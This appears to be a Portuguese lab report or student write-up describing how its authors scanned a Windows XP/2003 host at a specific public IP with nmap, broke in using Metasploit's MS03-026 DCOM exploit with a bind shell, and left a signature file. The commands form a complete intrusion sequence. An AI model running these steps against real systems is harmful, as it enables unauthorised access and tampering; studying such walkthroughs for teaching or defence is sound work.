

Utilizando o servidor local **Ubuntu 14.04 LTS x64** com privilégios de usuário “**root**”, instalamos o aplicativo **nmap** para verificar as portas abertas no servidor alvo.

```
# apt-get install nmap
# nmap 200.132.52.49

PORT      STATE SERVICE
135/tcp    open  msrpc Microsoft Windows RPC
139/tcp    open  netbios-ssn
1026/tcp   open  LSA-or-nterm?
1027/tcp   open  msrpc Microsoft Windows RPC
```

Para prosseguir com a invasão foi instalado o aplicativo **metasploit** por arquivo baixado diretamente do site de seu desenvolvedor, com a instalação padrão:~

```
# wget http://downloads.metasploit.com/data/releases/metasploit-
latest-linux-x64-installer.run
# chmod +x metasploit-latest-linux-x64-installer.run
# ./metasploit-latest-linux-x64-installer.run
```

Após termos todos os aplicativos necessários e devidamente instalados, abrimos o **console** do **metasploit** e executamos o seguinte código para invasão do servidor **RHOST**:

```
# cd /opt/metasploit
# ./app/msfconsole
# use exploit/windows/dcerpc/ms03_026_dcom
# set payload windows/shell/bind_tcp
# set RHOST 200.132.52.49
# exploit
```

Foi possível explorar a vulnerabilidade do servidor remoto baseado em **Windows XP/2003**, acessando diretamente o seu prompt de comando “**MS-DOS**”. Lá criamos o arquivo “**capeta.txt**” com a assinatura dos atacantes:

```
cd c:\Documents and Settings\Administrator
echo "Yonathan Stein, Maicon Lopes e Carlos Eduardo = Mission
Accomplished" > capeta.txt
```